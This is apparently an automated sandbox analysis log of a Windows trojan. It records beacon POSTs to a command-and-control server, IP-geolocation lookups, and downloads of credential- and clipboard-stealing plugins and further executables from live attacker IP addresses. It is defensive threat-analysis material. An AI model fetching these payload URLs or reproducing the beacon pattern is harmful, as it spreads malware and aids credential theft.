Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 38 46 39 41 37 34 37 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C8F9A747C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: GET /lend/alexxxxxxxx.exe HTTP/1.1Host: 193.233.132.167

Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 147.45.47.93 147.45.47.93
Source: Joe Sandbox View	IP Address: 172.67.75.166 172.67.75.166

Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU
Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io

Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.54.60 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.54.60 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.54.60 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.54.60 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.54.60 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.54.60 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.54.60 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.54.60 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.54.60 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.54.60 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.54.60 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.54.60 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.54.60 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.54.60 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com

Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.167
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.56

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe

Code function: 0_2_00B0D8D0 recv,recv,recv,recv,

0_2_00B0D8D0

Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.54.60 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.54.60 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.54.60 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.54.60 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.54.60 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.54.60 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.54.60 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.54.60 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.54.60 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.54.60 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.54.60 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.54.60 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/81.181.54.60 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=81.181.54.60 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com
Source: global traffic	HTTP traffic detected: GET /Pneh2sXQk0/Plugins/cred64.dll HTTP/1.1Host: 193.233.132.56
Source: global traffic	HTTP traffic detected: GET /cost/random.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /Pneh2sXQk0/Plugins/clip64.dll HTTP/1.1Host: 193.233.132.56
Source: global traffic	HTTP traffic detected: GET /cost/sarra.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /mine/amert.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /lend/alexxxxxxxx.exe HTTP/1.1Host: 193.233.132.167

Source: unknown

DNS traffic detected: queries for: ipinfo.io

Source: unknown

HTTP traffic detected: POST /Pneh2sXQk0/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 193.233.132.56Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: explorha.exe, 00000006.00000002.2904871906.0000000000AB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/random.exe
Source: explorha.exe, 00000006.00000002.2904871906.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/sarra.exe
Source: explorha.exe, 00000006.00000002.2904871906.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/mine/amert.exe
Source: explorha.exe, 00000006.00000002.2904871906.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/mine/amert.exeQ
Source: explorha.exe, 00000006.00000002.2908237175.0000000000B11000.00000004.00000020.00020000.00000000.sdmp, explorha.exe, 00000006.00000003.2572249094.0000000000B11000.00000004.00000020.00020000.00000000.sdmp, explorha.exe, 00000006.00000002.2904871906.0000000000AE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/mine/random.exe
Source: explorha.exe, 00000006.00000003.2572249094.0000000000B11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/mine/random.exe5e67ee
Source: explorha.exe, 00000006.00000003.2572249094.0000000000B11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/mine/random.exe5e67ee8
